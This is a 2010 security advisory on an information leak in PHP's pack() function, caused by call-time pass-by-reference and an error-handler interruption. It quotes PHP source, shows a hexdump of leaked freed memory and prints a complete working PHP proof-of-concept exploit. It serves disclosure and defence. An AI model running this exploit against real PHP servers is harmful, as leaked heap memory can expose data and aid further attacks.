MOPS-2010-052: PHP pack() Interruption Information Leak Vulnerability

May 31st, 2010

PHP’s pack() function can be interrupted and used for information leakage due to call time pass by reference.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions.

One of the functions that is vulnerable to user space interruption is pack().

PHP_FUNCTION(unpack)
{
    char *format, *input, *formatarg, *inputarg;
    int formatlen, formatarg_len, inputarg_len;
    int inputpos, inputlen, i;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &formatarg, &formatarg_len,
        &inputarg, &inputarg_len) == FAILURE) {
        return;
    }

    format = formatarg;
    formatlen = formatarg_len;
    input = inputarg;

The function starts by reading the supplied parameters and ensuring the format string is an actual string before it is parsed. Because of the call time pass by reference feature an interruption in the middle of the function might allow to change the argument currently work on. A possible attack i through the ‘H’ format string specifier.

case 'h':
case 'H': {
    int nibbleshift = (code == 'h') ? 0 : 4;
    int first = 1;
    char *v;

    val = argv[currentarg++];
    convert_to_string_ex(val);
    v = Z_STRVAL_PP(val);
    outputpos--;
    if(arg > Z_STRLEN_PP(val)) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type %c: not enough characters in string", code);
        arg = Z_STRLEN_PP(val);
    }

Here the string pointer is copied into the ‘v’ variable and then the length of the string is validated. The error handler can then add many more characters to the string variable to cause a reallocation of the string buffer. Because the previously stored ‘v’ is used by pack, already freed memory is leaked.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak some memory. The hexdump of the output looks like this.

Hexdump
-------
00000000: AA AA AA AA AA AA AA AA 00 00 00 00 00 00 00 00   ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000030: F8 6E 02 01 01 00 00 00 D0 38 B5 00 01 00 00 00   .n.......8......
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 AA AA AA AA   ................
00000210: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000220: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000230: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000240: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000250: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000260: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000270: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000280: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000290: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000002a0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000002b0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000002c0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000002d0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000002e0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000002f0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000300: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000310: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000320: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000330: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000340: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000350: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000360: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000370: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000380: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
00000390: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000003a0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000003b0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000003c0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000003d0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................
000003e0: AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA   ................

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

<?php
$first = true;

function my_error($a,$x)
{
    global $first;
    if ($first) {
        var_dump($x);
        $GLOBALS['var'].=str_repeat("A",2000);
    }
    $first = false;
    return 1;
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $l = 39;       
} else {
    $l = 67;
}
$GLOBALS['var'] = base64_decode(str_repeat("-", 1000).base64_encode("AAAAAAAAAAAAAAAA"));
/* Trigger the Code */
set_error_handler("my_error");
$x = pack("h20", &$GLOBALS['var']);
restore_error_handler();
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "-------\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? '.' : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "-- "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? '.' : chr($c);
    }
    echo "\n";
}
?>

Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.




blog comments powered by Disqus